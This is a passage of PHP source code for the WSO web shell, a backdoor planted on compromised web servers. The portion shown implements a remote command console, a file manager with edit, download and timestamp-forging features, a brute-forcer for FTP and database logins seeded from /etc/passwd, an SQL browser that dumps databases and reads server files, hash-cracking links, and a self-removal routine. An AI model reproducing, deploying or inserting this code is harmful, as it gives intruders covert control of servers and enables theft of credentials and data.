			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function wsoRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						wsoRecursiveGlob($item);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		wsoRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}

function actionBruteforce() {
	wsoHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
	echo '</div><br>';
	wsoFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
